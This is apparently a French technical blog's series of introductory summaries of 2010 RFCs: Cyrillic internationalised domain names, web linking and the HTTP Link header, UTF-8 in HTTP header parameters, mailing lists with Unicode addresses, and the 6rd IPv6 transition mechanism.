Les RFC (Request For Comments) sont les documents de référence de l'Internet. Produits par l'IETF pour la plupart, ils spécifient des normes, documentent des expériences, exposent des projets...
Leur gratuité et leur libre distribution ont joué un grand rôle dans le succès de l'Internet, notamment par rapport aux protocoles OSI de l'ISO organisation très fermée et dont les normes coûtent cher.
Je ne tente pas ici de traduire les RFC en français (un projet pour cela existe mais je n'y participe pas, considérant que c'est une mauvaise idée), mais simplement, grâce à une courte introduction en français, de donner envie de lire ces excellents documents. (Au passage, si vous les voulez présentés en italien...)
Le public visé n'est pas le gourou mais l'honnête ingénieur ou l'étudiant.
Date de publication du RFC : Octobre 2010
Auteur(s) du RFC : S. Sharikov (Regtime Ltd), D. Miloshevic (Afilias), J. Klensin
Pour information
Première rédaction de cet article le 5 octobre 2010
Les noms de domaines internationalisés
connaissent en ce moment un intérêt particulier, notamment en raison
de leur déploiement (très tardif) dans la racine (ainsi,
.рф
a été
ajouté le 12 mai 2010). Plusieurs RFC ont été
publiés pour adapter la norme IDN (Internationalized Domain
Names) à différentes écritures et/ou langues et notre tout neuf RFC 5992
s'ajoute à la liste, pour le cas de l'alphabet cyrillique.
Contrairement au RFC 5564 qui n'envisageait que le cas d'une seule langue, ce RFC 5992 veut couvrir la plupart des langues qui utilisent aujourd'hui une écriture, la cyrillique. Il s'applique donc au russe mais aussi au bulgare, à l'ukrainien, au serbe, etc.
Parmi toutes les écritures existantes, beaucoup ne servent que pour une seul langue. Ce n'est pas le cas de l'alphabet cyrillique, qui sert pour plusieurs langues slaves mais aussi pour des langues parlées dans l'ancien empire des tsars tel que le same de Kildin ou (bien que cela ne soit plus guère le cas depuis la chute de l'URSS) les langues « asiatiques » comme l'azéri ou le kirghiz. Ce RFC se focalise sur les langues utilisées en Europe, ce qui inclus les langues slaves et le cas particulier du same de Kildin.
À noter que le cyrillique, dérivé de l'alphabet grec, partage avec ce dernier et avec son cousin l'alphabet latin, plusieurs caractères, ce qui peut mener dans certains cas à des confusions. Les problèmes que pourraient poser celles-ci ne sont pas détaillés dans le RFC, qui fait sans doute allusion au FUD comme quoi IDN augmenterait les risques de hameçonnage.
D'autre part, même dans les pays où l'écriture officielle est uniquement en cyrillique, et où son usage domine, on constate également une certaine présence de l'alphabet latin (par exemple pour les sigles techniques, regardez un article d'informatique écrit en russe, pour un exemple voir l'article du Wikipédia russophone sur le Web et ses mentions de HTML). Les utilisateurs souhaiteraient donc parfois pouvoir enregistrer des noms de domaine mêlant les deux alphabets, ce que le RFC déconseille fortement, sans expliquer pourquoi (section 1).
La section 1.1 expose la question des caractères « similaires » (terme impossible à définir rigoureusement, entre autres parce que cela dépend de la police d'affichage). Sans expliquer vraiment le problème, le RFC propose d'utiliser des mécanismes de « variantes » tels que présentés dans les RFC 3743 et RFC 4290.
Place maintenant aux langues et à leurs caractères. La section 2
décrit précisement les caractères nécessaires pour chaque
langue. Vingt-trois « caractères de base » sont introduits, car ils
sont communs à toutes les langues. Ils vont de U+0430 (а) à
U+0448 (le cha, ш), mais
avec quelques trous. Ils incluent en outre les chiffres et le tiret. Il suffit donc ensuite de définir
pour chaque langue les quelques caractères supplémentaires
nécessaires. (On peut noter que la liste utilisée par le registre du
.eu
a 32
caractères.)
Ainsi, le « serbo-bosnien » utilise les vingt-trois
caractères de base plus sept autres, comme le U+045F
(« dzhe », џ). Le
bulgare n'a pas ce caractère mais se sert entre
autres du U+044F (ya, я). Le
russe a besoin de trente-trois caractères en
tout. Le RFC donne
la liste complète pour chaque langue slave. Celles qui ne s'écrivent
pas en cyrillique (ou qui ne s'écrivent plus dans
cet alphabet,
comme le moldave) ont été omises. À noter que,
pour certaines langues, il existait déjà une liste officielle des
caractères nécessaires. C'est le cas du
monténégrin pour lequel la norme
gouvernementale est http://www.gov.me/files/1248442673.pdf
. En revanche, pour
d'autres langues, il semble que l'orthographe ne soit pas complètement
stabilisée. C'est le cas de l'ukrainien où les
chiffres vont de trente-et-un à trente-quatre caractères (la dernière
valeur étant recommandée par le RFC, pour être sûr de tout
couvrir). Par exemple, certains affirment que le U+044A (ъ) est
nécessaire, d'autres disent qu'il vaut mieux utiliser le U+044C
(ь) à la place. (À noter que les linguistes considèrent souvent
que certaines langues n'en sont pas réellement, elles ont juste un nom
différent pour des raisons politiques. Le monténégrin n'existe ainsi
que depuis l'indépendance du Monténégro, tout
le monde l'appelait serbe avant...)
Seule langue non-slave du groupe, le same de Kildin fait l'objet de la section 2.4. Son orthographe n'est pas normalisée et son système de sons est complexe, et difficile à rendre en cyrillique. Il faut donc rajouter trente-trois caractères au jeu de base comme par exemple le U+04CE (ӎ). La section 2.4 contient des références vers des sources plus précises sur cette langue et son orthographe, si vous voulez approfondir la question.
Une fois ces listes établies, on peut compiler des tables qui indiquent les caractères autorisés (sections 3 et 4). La section 5 donne le format de la table qui figure dans l'annexe A du RFC : elle comprend au moins ligne de quatre colonnes par caractère. La première colonne indique le point de code Unicode du caractère cyrillique, la seconde son nom, la troisième et la quatrième les points de code et noms d'un caractère latin ou grec qu'on peut confondre avec le caractère cyrillique. Ainsi, U+0430 (le а cyrillique) est indiqué comme confondable avec le petit a latin, U+0061, mais aussi avec l'alpha grec, si on met les deux lettres en majuscules (le +++ dans la première colonne indique que la confusion n'existe qu'en cas de changement de casse). De même, le U+0433 (г, le ge) est indiqué comme proche du petit r, U+0072. Notez qu'il s'agit bien d'une confusion visuelle et pas sémantique. Le U+0440 (р) peut être confondu avec le p latin mais il représente un son complètement différent (proche du r).
Bien, armé de ces observations et de cette table, que peut faire un
registre de noms de domaines qui accepte les
caractères cyrilliques ? Prenons l'exemple classique du sigle russe de
l'ancienne URSS,
СССР. Ce sigle en cyrillique { U+0421
U+0421 U+0421 U+0420 } et le texte latin { U+0043 U+0043 U+0043
U+0050 } sont très proches. Alors, que doit faire un registre qui
accepte les caractères cyrilliques et les latins (ce qui est le cas de
.eu
) ? Il peut allouer
СССР et CCCP (le premier est en
cyrillique, le second en latin) au même titulaire. Il peut n'autoriser
qu'un des deux noms et bloquer l'autre. Ici, il n'y a que deux
variantes. Mais, dans certains cas, il peut y en avoir plus (surtout
en ajoutant l'alphabet grec ce qui, là encore, est le cas du
.eu
). Le registre peut alors choisir une solution
intermédiaire en enregistrant certaines variantes et en bloquant
d'autres. Ces possibilités, et leurs conséquences, sont discutées dans
la section 6.
Date de publication du RFC : Octobre 2010
Auteur(s) du RFC : M. Nottingham
Chemin des normes
Première rédaction de cet article le 29 octobre 2010
Le lien est à la base du Web. Mais, malgré plusieurs tentatives, deux choses manquaient aux liens Web que ce RFC est venu combler :
Il a depuis été remplacé par le RFC 8288.
Bien sûr, des formats normalisés qui permettent des liens, il y en a
plusieurs, et avant tout HTML, avec le fameux
élément <A>
(pour
anchor). Il y a aussi le plus récent
Atom (RFC 4287, notamment
la section 4.2.7). Comme HTML, Atom avait l'idée de registre
des types de liens, mais ces types étaient spécifiques à Atom. L'une
des idées phares de ce RFC 5988 est de
généraliser le concept de type de lien et de le rendre accessible à
tous les formats et protocoles qui en ont besoin. Ce RFC
décrit un cadre général pour les types de liens, en partant de celui
d'Atom.
Second apport de cette nouvelle norme, une (re-)définition de
l'en-tête HTTP Link:
,
utilisant évidemment le nouveau cadre général. Cet en-tête permettant
d'indiquer un lien dans la réponse HTTP, indépendamment du document
servi avait été normalisé dans le RFC 2068, section 19.6.2.4,
puis, peu utilisé, avait été supprimé par le RFC 2616, avant de faire se
réapparition ici, sous une forme quasi-identique à l'original. On peut
voir cet en-tête comme une représentation concrète du cadre de notre
RFC. D'autres apparaîtront sans doute.
Pour un exemple réel, regardez les en-têtes
Link:
de mon blog, il y en a un de type
licence
, suivant le RFC 4946. Avec Apache, cela se configure
simplement avec le module headers
et la
directive Header set Link "<http://www.gnu.org/copyleft/fdl.html>; rel=\"license\"; title=\"GFDL\""
.
Donc, qu'est-ce qu'un lien ? La section 3, la principale du RFC, le définit comme une connexion typée entre deux ressources (une ressource étant typiquement une page Web). Les ressources sont représentées par leur IRI (cf. RFC 3987, en notant que, dans la plupart des cas, les IRI des liens seront des URI). Le lien comprend :
Par exemple, dans le flux de syndication
Atom de mon blog, on trouvera un lien
<atom:link rel="alternate"
href="http://www.bortzmeyer.org/expose-go.html"/>
qui se décompose
en un contexte (l'entrée Atom dont l'IRI est
tag:bortzmeyer.org,2006-02:Blog/expose-go
), un
type (alternate
, qui indique une version
alternative de la ressource, ici une page HTML au lieu d'une entrée
Atom), et une cible (ici http://www.bortzmeyer.org/expose-go.html
). Il n'y a pas dans
cet exemple
d'attributs de la cible mais Atom en permet (par exemple
hfrelang
pour indiquer la langue de la cible ou bien
length
pour indiquer sa longueur - afin de
prévenir d'un long téléchargement, par exemple).
Cette définition du lien ne place aucune limite sur la cardinalité. Il peut y avoir zéro, un ou plusieurs liens partant d'une ressource et c'est la même chose pour les lients entrants.
La section 3 s'arrête là. Puisque ce RFC propose un cadre générale, il ne formalise pas une syntaxe unique pour représenter les liens. Chaque format, chaque protocole, aura la sienne.
Un des points les plus importants de cette définition des liens, et
qui est souvent ignorée des gens qui écrivent des pages Web, est la
notion de type d'un lien (section 4). Par exemple, on
pourrait imaginer un type copyright qui
associerait, via un lien, un document à l'auteur de
celui-ci. Point à retenir : ce type du lien ne doit pas être confondu
avec le type de médium du RFC 6838 comme
text/html
ou audio/ogg
.
Il y a deux sortes de type de lien : enregistrés ou bien
extensions. Les premiers font l'objet de la section 4.1. Ils ont fait
l'objet d'un processus formel d'enregistrement (qui a été discuté jusqu'au dernier moment) et leur liste est
publiée sous forme d'un registre IANA. On
y trouve par exemple via
(RFC 4287) ou
hub
(http://pubsubhubbub.googlecode.com
).
Les extensions sont spécifiées dans la section 4.2. L'idée est que,
si on n'a pas envie de se fatiguer à enregistrer un type de lien, et
qu'on veut quand même créer un type unique,
n'ayant pas de risque de collision avec le travail des autres, on peut
simplement se servir d'un URI (forcément unique) pour indiquer le
type. Cette URI peut (mais ce n'est pas obligé) mener à une page Web
qui décrira le type en question. Ainsi, on pourrait imaginer de
réécrire le lien plus haut en <atom:link rel="http://www.bortzmeyer.org/reg/my-link-type"
href="http://www.bortzmeyer.org/expose-go.html"/>
(en pratique, le format Atom ne
permet pas actuellement de telles valeurs pour l'attribut rel
.)
Après le cadre général de description des liens, notre RFC
introduit une syntaxe concrète pour le cas de l'en-tête
Link:
des requêtes HTTP. Les autres formats et
protocoles devront s'ajuster à ce cadre chacun de son côté. Pour
HTTP, la section 5 décrit l'en-tête Link:
. La
cible doit être un URI (et un éventuel IRI doit donc être transformé
en URI), le contexte (l'origine) est la ressource qui avait été
demandée en HTTP et le type est indiqué dans le paramètre
rel
. (Le paramètre rev
qui
avait été utilisé dans des vieilles versions est officiellement
abandonné.) Plusieurs attributs sont possibles comme
hreflang
, type
(qui est le
type MIME, pas le type du lien) ou title
(qui peut
être noté title*
s'il utilise les en-têtes
étendus du RFC 5987). Pour la plupart de ces
attributs, leur valeur est juste une indication, la vraie valeur sera
obtenue en accédant à la ressource cible. Ainsi,
hreflang
dans le lien ne remplace pas
Content-Language:
dans la réponse et
type
ne gagnera pas si un
Content-Type:
différent est indiqué dans la
réponse.
Voici des exemples d'en-têtes, tirés de la section 5.5 du RFC :
Link: <http://www.example.com/MyBook/chapter2> rel="previous"; title="Previous chapter"
Ici, cet en-tête, dans une réponse HTTP, indique que
http://www.example.com/MyBook/chapter2
est une
ressource liée à la ressource qu'on vient de récupérer et que ce lien
est de type previous
, donc précède la ressource
actuelle dans l'ordre de lecture. L'attribut
title
indique un titre relatif, alors que la
vraie ressource
http://www.example.com/MyBook/chapter2
aura
probablement un titre du genre « Chapitre 2 ». En application des
règles de la section 5.4, c'est ce dernier titre qui gagnera au
final.
Un seul en-tête Link:
peut indiquer plusieurs
liens, comme dans l'exemple suivant :
Link: </TheBook/chapter2>; rel="previous"; title*=UTF-8'de'letztes%20Kapitel, </TheBook/chapter4>; rel="next"; title*=UTF-8'de'n%c3%a4chstes%20Kapitel
Ce dernier montre également les en-têtes complètement
internationalisés du RFC 5987, ici en
allemand (étiquette de langue de
).
Cet en-tête a été enregistré à l'IANA, en application du RFC 3864 dans le registre des en-têtes (section 6.1).
D'autre part, le registre des types de liens est désormais officiellement créé, remplaçant des registres qui étaient spécifiques à un format ou protocole (comme celui d'Atom, qui avait été créé par le RFC 4287). La section 6.2 décrit en détail ce nouveau registre. Voici, à titre d'exemple, quelques-uns des valeurs qu'on peut y trouver :
copyright
qui indique
le copyright du document (issu de la norme HTML),edit
qui indique l'URI à utiliser pour une
modification de ce document, comme le permet le protocole
APP (RFC 5023),first
, qui pointe vers le premier document
de la série (défini par ce RFC 5988, même s'il était déjà enregistré),hub
qui indique l'endroit où s'abonner pour
des notifications ultérieures, suivant le protocole
PubSubHubbub),latest-version
qui indique où trouver la
dernière version d'un document versionné (RFC 5829),licence
, qui associe un document à sa
licence d'utilisation (RFC 4946),next-archive
, qui indique le document
archivé suivant (RFC 5005),related
, qui indique un document qui a un
rapport avec celui-ci (créé pour Atom, dans le RFC 4287),replies
, qui indique les réponses faites à
ce document (pour mettre en œuvre le
threading, RFC 4685),Ce registre est peuplé par le mécanisme dit Designated
Expert (cf. RFC 5226), avec exigence
d'une norme écrite (l'actuel expert est Mark Nottingham, auteur de
plusieurs RFC, dont celui-ci). Pour chaque type, il faudra indiquer le type (aussi nommé
relation, comme par exemple previous
plus haut), une
description et une référence à la norme qui le formalise. Les demandes
d'enregistrement sont reçues par link-relations@ietf.org
. Par
exemple, en novembre 2010, des relations comme search
ou
help
(lien vers une aide en ligne) ont été ajoutées.
Attention, ce n'est pas parce qu'il y a un lien qu'il faut le suivre automatiquement. La section 7, sur la sécurité, met en garde contre la confiance accordée à un lien.
L'annexe A contient une discussion de l'utilisation des liens avec
HTML 4, d'où le cadre actuel de définition des liens est issu. Le type
y est indiqué par l'attribut rel
. Un exemple
indiquant la licence en XHTML est donc :
<link rel="license" type="text/html" title="GFDL in HTML format" href="http://www.gnu.org/copyleft/fdl.html"/>
L'annexe B
discute, elle, de l'utilisation du cadre de définition des liens en
Atom, qui utilise l'élément
<atom:link>
avec les attributs
href
pour indiquer la cible et
rel
pour le type. Par exemple,
<atom:link rel="license" type="text/html"
title="GFDL in HTML format"
href="http://www.gnu.org/copyleft/fdl.html"/>
indiquera
la licence du flux Atom qui contient cet élément (et, oui, Atom et
XHTML ont quasiment la même syntaxe).
Date de publication du RFC : Août 2010
Auteur(s) du RFC : J. Reschke (greenbytes)
Chemin des normes
Première rédaction de cet article le 23 août 2010
Les requêtes et réponses du protocole HTTP
incluent des en-têtes (comme
User-Agent:
ou
Content-Disposition:
)
avec des valeurs, qui ne
pouvaient se représenter directement qu'avec les caractères du jeu ISO 8859-1. Comme MIME, dans le RFC 2231, prévoyait un mécanisme très riche pour encoder les en-têtes du
courrier électronique, ce RFC 5987
réutilise ce mécanisme pour HTTP (plusieurs en-têtes l'utilisaient
déjà, de manière pas vraiment officielle). Pour le corps du message
(voir par exemple le RFC 7578), rien ne
change. Ce RFC a depuis été remplacé par le RFC 8187.
Cette restriction à Latin-1 vient de la norme HTTP, le RFC 2616, dans sa section 2.2, qui imposait l'usage du RFC 2047 pour les caractères en dehors de ISO 8859-1. (Le RFC 7230 a changé cette règle depuis.)
Notre RFC peut être résumé en disant qu'il spécifie un profil du RFC 2231. Ce profil est décrit en section 3, qui liste les points précisés par rapport au RFC 2231. Tout ce RFC n'est pas utilisé, ainsi le mécanisme en section 3 du RFC 2231, qui permettait des en-têtes de plus grande taille, n'est pas importé (section 3.1 de notre RFC).
En revanche, la section 4 du RFC 2231, qui spécifiait
comment indiquer la langue dans laquelle était
écrite la valeur d'un en-tête est repris pour les paramètres dans les
en-têtes. Ainsi, (section 3.2.2), voici un en-tête, avec un paramètre
title
traditionnel en pur ASCII :
X-information: news; title=Economy
et en voici un avec les possibilités de notre RFC pour permettre les caractères £ et € (ce dernier n'existant pas dans Latin-1) :
X-information: news; title*=UTF-8''%c2%a3%20and%20%e2%82%ac%20rates
Par rapport au RFC 2231, deux jeux de caractères sont décrétés obligatoires (ISO 8859-1 et UTF-8) et la mention du jeu utilisée est également désormais obligatoire (section 3.2 de notre RFC). La langue elle-même est indiquée par une étiquette, selon la syntaxe du RFC 5646. Du fait de ces possibilités plus riches que celles prévues autrefois pour HTTP, les paramètres qui s'en servent doivent se distinguer, ce qui est fait avec un astérisque avant le signe égal (voir l'exemple ci-dessus). La valeur du paramètre inclus donc le jeu de caractères et l'encodage (obligatoire), la langue (facultative, elle n'est pas indiquée dans l'exemple ci-dessus) et la valeur proprement dite.
Voici un exemple incluant la langue, ici
l'allemand (code de
) :
X-quote: theater; sentence*=UTF-8'de'Mit%20der%20Dummheit%20k%C3%A4mpfen%20G%C3%B6tter%20selbst%20vergebens.
La section 4 couvre ensuite les détails pratiques pour les normes qui décrivent un en-tête qui veut utiliser cette possibilité. Par exemple, la section 4.3 traite des erreurs qu'on peut rencontrer en décodant et suggère que, si deux paramètres identiques sont présents, celui dans le nouveau format prenne le dessus. Par exemple, si on a :
X-information: something; title="EURO exchange rates"; title*=utf-8''%e2%82%ac%20exchange%20rates
le titre est à la fois en ASCII pur et en UTF-8, et c'est cette
dernière version qu'il faut utiliser, même si normalement il n'y a
qu'un seul paramètre title
.
Ceux qui s'intéressent à l'histoire du développement de cette
nouvelle norme pourront regarder les minutes
de la réunion IETF 72. Ces paramètres étendus sont déjà mis en
œuvre dans Konqueror (à partir de la 4.4.1),
Firefox et Opera. Des
tests plus détaillés sont présentés en http://greenbytes.de/tech/tc2231
.
Date de publication du RFC : Octobre 2010
Auteur(s) du RFC : R. Gellens (Qualcomm)
Expérimental
Réalisé dans le cadre du groupe de travail IETF eai
Première rédaction de cet article le 5 octobre 2010
L'arrivée des normes sur le courrier électronique entièrement internationalisé a suscité beaucoup d'intérêt et d'expériences. Un des points qui avait été laissé dans l'ombre au début est le cas de listes de diffusion. Ce RFC comblait le manque, explique le problème et donnait des recommandations. Il a depuis été remplacé par le RFC 6783.
Une liste de diffusion est un mécanisme par lequel un message, bien qu'envoyé à une seule adresse, est distribué à plusieurs destinataires. L'agent logiciel qui reçoit le message et le redistribue modifie l'adresse de retour indiquée dans l'enveloppe, de façon à ce que ce soit lui, et non pas l'expéditeur originel, qui reçoive les éventuels avis de non-remise. Dans le cas d'une « vraie » liste de diffusion (par exemple, pas un simple alias Postfix), le message ainsi modifié est réinjecté par une soumission normale.
Le message subit d'autres changements, comme par exempe l'ajout
d'en-têtes spécialisés dans la gestion de listes (RFC 2369 et
RFC 2919) comme List-Id:
, qui contient
une adresse, celle de la liste, ou
List-Unsubscribe:
, qui contient un
URI, typiquement de plan
mailto:
.
Idéalement, cela s'arrêterait là. Mais certains
MLM (Mailing List Manager, logiciels de gestion de listes) vont plus
loin et modifient le message, par exemple pour ajouter un en-tête
Reply-To:
, ou pour ajouter le nom de la
liste dans le sujet, ou bien pour ajouter du texte à la fin du
message. Pire, certains modifient des en-têtes comme From:
.
Il y a trois endroits où l'arrivée des adresses de courrier en Unicode a un impact sur les listes de diffusion :
Les questions soulevées par ces nouvelles adresses peuvent être purement techniques (un MLM pourrait par exemple refuser les adresses non-ASCII) ou plus sémantiques, liées aux utilisateurs (si la liste elle-même a une adresse ASCII, et qu'un de ses membres a une adresse Unicode, l'expéditeur pourrait être surpris si cette adresse Unicode venait à sa connaissance, même si toute la partie technique a bien fonctionné).
Certains de ces problèmes peuvent aussi arriver en communication directe, sans l'intermédiaire de la liste de diffusion. Mais ils se règlent plus difficilement dans le cas d'une liste car l'expéditeur d'un message, par exemple, ne peut évidemment pas s'adapter à chaque membre de la liste.
Bref, après les trois endroits mentionnés plus haut, il faut se poser les trois questions concrètes suivantes :
évolution-langue@académie-française.fr
?étienne@massé.fr
?Avant d'étudier ces trois questions plus en détail, la section 3 rappelle un scénario particulièrement délicat : si le message originel nécessite UTF8SMTP, par exemple parce que l'adresse de son expéditeur comprend de l'Unicode, et que certains des destinataires de la liste ont des serveurs SMTP sans cette option, le message devra se rabattre sur de l'ASCII seul, suivant le RFC 5504, sans que le serveur SMTP de l'expéditeur original n'ait pu se rendre compte de quelque chose. Ce problème devrait disparaitre avec le temps, le repli sur l'ASCII seul étant largement considéré aujourd'hui comme une mauvaise idée, qui a été exclue de la normalisation définitive du courrier électronique avec adresses Unicode.
Après ce petit détour, revenons aux trois questions. En théorie, le système de gestion de la liste peut répondre OUI à n'importe laquelle des questions indépendamment des autres. En pratique, toutefois, on ne voit pas bien l'intérêt d'avoir une adresse en Unicode si le serveur SMTP frontal ne gère pas UTFSMTP (et réciproquement, d'ailleurs). La section 4 discute ces trois services séparement mais, logiquement, les MLM les fourniront tous ou aucun.
Donc, premier service, que la liste ait une adresse de soumission
en Unicode, comme pause-café@bavardage.fr
. Le RFC
recommande que la liste ait aussi une adresse alternative en ASCII
(alt-address
du RFC 5336,
section 3.4), mettons pause-cafe@bavardage.fr
. À
noter que la liste a aussi une autre adresse, utilisée comme
expéditeur dans l'enveloppe des messages sortants, et qui reçoit donc
les messages d'erreur. Pour ce cas, la liste peut très bien se contenter d'une
adresse en ASCII seul et, si cette adresse est en Unicode, le RFC
impose (c'est la seule obligation nouvelle de ce RFC) qu'il y aie une alt-address
en ASCII, pour
garantir la bonne réception des messages d'erreur.
Et pour les adresses des abonnés ? Il n'y a pas de recommandation stricte, juste le rappel qu'une liste peut, si elle le souhaite, imposer que les abonnés fournissent une adresse alternative en ASCII.
Enfin, pour UTF8SMTP, le gestionnaire de la liste doit s'assurer que tous les serveurs sur le chemin gèrent bien cette option.
Le courrier entièrement internationalisé pose un autre problème,
c'est celui des en-têtes List*:
tels que
normalisés par les RFC 2369 et RFC 2919. Pour
reprendre l'exemple de pause-café@bavardage.fr
, à
quoi doivent ressembler, par exemple, ces en-têtes :
List-Id: Liste de discussion en Unicode <pause-café@bavardage.fr> List-Unsubscribe: <mailto:pause-café-requête@bavardage.fr?subject=unsubscribe> List-Archive: <http://www.example.net/listes/pause-café/archives>
Pour les deux derniers en-têtes, qui contiennent des
URI, tout dépend du plan (ici,
mailto:
et http:
). Même si ce
dernier autorise les IRI (ce qui n'est pas le
cas de mailto:
aujourd'hui), le RFC demande que ce
soit leur forme encodée en URI qui soit utilisée. (Notons que les IRI sont actuellement
en cours de réforme à l'IETF, et qu'un des
points en discussion est l'encodage du nom de domaine dans l'IRI, problème qui ne se pose pas dans cet
exemple.) On aura donc, par exemple :
List-Unsubscribe: <mailto:pause-caf%C3%A9-requ%C3%AAte@bavardage.fr?subject=unsubscribe> List-Archive: <http://www.example.net/listes/pause-caf%C3%A9/archives>
Ces en-têtes List*:
étant essentiels pour le bon
fonctionnement des listes, le RFC insiste sur le fait qu'avoir
également une alternative en ASCII pur est très souhaitable. Les deux
adresses (Unicode et ASCII) sont indiquées dans deux URI différents,
séparés par des virgules (RFC 2369, section 2).
L'en-tête List-Id
(qui identifie une liste de
manière unique), lui, ne prend pas un URI
comme valeur et cette discussion ne s'applique pas à lui. En revanche,
il est très souvent utilisé dans des systèmes de traitement
automatique du courrier reçu comme les filtres
Sieve. Ces filtres ne réagissent pas forcément
correctement à de l'Unicode (par exemple, ils peuvent échouer à
comparer la forme UTF-8 et une forme encodée différemment). Le RFC ne
fournit toutefois pas de solution à ce problème.
Je ne connais pas encore de gestionnaire de liste de diffusion qui ait des plans précis pour la mise en œuvre des adresses de courrier internationalisées. Sympa, par exemple, en est au stade de la réflexion sur ce point. Le RFC 6783, version actuelle, traite le problème très différemment, notamment en raison de la suppression du repli automatique (d'un message internationalisé vers un message ASCII).
Date de publication du RFC : Août 2010
Auteur(s) du RFC : M. Townsley (Cisco), O. Troan (Cisco)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF softwire
Première rédaction de cet article le 23 août 2010
Dernière mise à jour le 3 septembre 2010
La délicate question de la période de transition entre IPv4 et IPv6 n'a jamais été négligée à l'IETF. Bien au contraire, plusieurs mécanismes ont été normalisés pour assurer le passage d'un protocole à l'autre. Le mécanisme « 6rd », initialement décrit dans le RFC 5569, est un de ces mécanismes. 6rd modifie le 6to4 du RFC 3056 pour garantir un chemin de retour symétrique aux paquets IP (section 1 du RFC). 6rd permet à un FAI de vendre un service IPv6 alors que son réseau interne est essentiellement IPv4. Il est surtout connu pour être la technologie déployée par Free à partir de décembre 2007. Ce RFC 5969 prend la spécification originale de 6rd, dans le RFC 5569, l'étend pour des cas comme celui où les adresses sont distribuées par DHCP et le fait passer sur le chemin des normes IETF (le RFC 5569 avait uniquement le statut « pour information »).
S'il existe plusieurs mécanismes de coexistence d'IPv4 et d'IPv6, c'est parce que les besoins sont différents. Certains FAI ont un réseau interne entièrement IPv6 depuis de nombreuses années comme Nerim. D'autres n'ont pas encore commencé le déploiement. Parfois, le FAI est en avance sur ses clients, parfois c'est le contraire comme c'était le cas pour Free où de nombreux utilisateurs réclamaient IPv6 depuis longtemps. Il existe donc une variété de techniques de coexistence v4/v6. 6rd se positionne pour le cas où le FAI :
À l'origine, le
protocole « idéal » semblait être 6to4 du RFC 3056. Simple, déjà mis en œuvre, y compris en logiciel
libre et sans état (chaque paquet est traité indépendamment) donc
passe bien à l'échelle. Mais il a des limites, notamment le fait le
retour du paquet n'est pas garanti : la machine avec laquelle on
communique va chercher son propre relais 6to4 et ne va pas forcément
en trouver un. 6rd est une modification de 6to4 pour utiliser comme
préfixe, non plus le préfixe 6to4 commun à tous de
2002::/16
mais un préfixe par FAI. Ainsi, le FAI
doit désormais lui-même installer des relais, il ne peut plus se
reposer sur les relais existants mais, en contre partie, il contrôle
complètement le routage, y compris sur le chemin du retour et se
retrouve ainsi dans un cas plus classique où ses routeurs servent ses
clients (alors que, avec 6to4, tout le monde sert tout le monde, ce
qui est très bien lorsque cela marche).
La section 4 décrit la fabrication du préfixe 6rd pour les adresses
IP. Ce préfixe combine un préfixe IPv6 choisi par le FAI et tout ou
partie de l'adresse IPv4 du CE. Notons que, 6rd étant un bricolage
purement local au FAI, la norme n'impose pas, par exemple, le nombre
de bits IPv4 conservé (ce point était déjà dans le RFC 5569, voir aussi les sections 7 et 11). Il faut juste garder 64 bits pour le réseau
local, pour permettre l'autoconfiguration sans état. On peut garder
moins de 32 bits de l'adresse IPv4 car certains octets sont souvent
fixés sur le réseau du FAI. Par exemple, un
FAI qui consacre le préfixe 2001:DB8::/32
à ses clients 6rd, pour
un CE d'adresse 192.0.2.137
, et dont tous les CE
sont sous 192.0.0.0/8
, peut garder les
trois quarts de l'adresse IPv4. Le FAI aura alors un préfixe 6rd de 32 + 24 = 56 bits
(ce qui laissera 72 bits pour le réseau local, permettant 256 réseaux
de longueur /64), le 2001:db8:0002:8900::/56
.
Chez Free (qui a un /26), en septembre 2010, les adresses IP de mon
réseau sont 2a01:e35:8bd9:8bb0::/64
. À partir du
29ème bit commence l'adresse IPv4. Dans mon cas, l'adresse IPv6
s'écrit en binaire
10101000000001000011100011010110001011110110011000101110110000
ou, si on retire les 28 premiers bits,
10110001011110110011000101110110000
qui donne en
décimal 88.189.152.187
qui est bien mon adresse
v4. Un client Free pourrait donc recevoir en théorie un /60. (Merci à Yvon @ Okazoo pour ses calculs et explications.)
Les acteurs du protocole sont :
On peut se poser la question de savoir s'il s'agit vraiment d'IPv6 « natif ». Sans doute pas (le paquet circule dans le réseau de Free encapsulé IPv4, ce qui réduit la MTU à 1480 octets).
Pour faciliter le débogage, la section 5 du RFC recommande que CE et BR répondent à l'adresse anycast subnet router du RFC 4291 (section 2.6.1).
La section 7 couvre les mécanismes par lesquels le CE peut être configuré pour faire du 6rd proprement. Ils sont multiples mais on notera en section 7.1.1 l'arrivée d'un nouveau : une option DHCP (numéro 212) pour configurer tous les paramètres 6rd du CE (préfixe IPv6, adresse(s) des BR, nombre de bits de l'adresse v4 à conserver, etc).
La question de la longueur idéale du masque v4 est couverte en section 11. Il s'agit de voir combien de bits de l'adresse v4 doivent être gardés dans le préfixe v6. Si on utilise les 32 bits, et qu'on veut allouer un /56 à chaque client, il faut un /24 pour les servir tous. Ce n'est pas si effrayant que cela, même si tous les AS actuellement actifs le faisaient, cela ne consommerait qu'un /9. Et si ces AS n'allouaient au client qu'un /60, la consommation totale ne serait qu'un /13. À noter que Free n'allloue aujourd'hui qu'un /64 à ses clients, ce qui ne leur permet pas d'avoir plusieurs réseaux chez eux (sauf à renoncer à l'autoconfiguration sans état) et annule donc une partie de l'intérêt de IPv6.
Mais la solution la plus courante sera sans doute de ne pas utiliser les 32 bits de l'adresse IPv4 mais seulement une partie. Par exemple, si tous les CE sont dans le même /12 IPv4, 20 bits suffisent pour les distinguer et on peut alors allouer un /56 à chaque client en ne consommant en tout qu'un /36.
6to4 soulève traditionnellement des gros problèmes de sécurité, documentés dans le RFC 3964. 6rd en supprime certains, si l'implémentation suit les recommandations de la section 12, et effectue les vérifications demandées, mais l'usurpation d'adresse IP demeure relativement facile.
Quelles sont les principales nouveautés de ce RFC 5969 par rapport au RFC 5569 original ? Thibault Muchery les résume en disant que ce nouveau RFC est plus général : la solution mise en œuvre pour Free prenait avantage de certaines particularités de Free (addresses IP fixes, maitrise des logiciels de la CE - la Freebox - et des BR). La solution nouvelle reprend tout à fait le même principe, en généralisant, en standardisant (nouvelle option DHCP, etc.), en présentant plus la solution comme inscrite dans une lignée d'autres solutions, en ajoutant des contrôles plus fins pour la sécurité mais au fond c'est exactement la même solution généralisée.
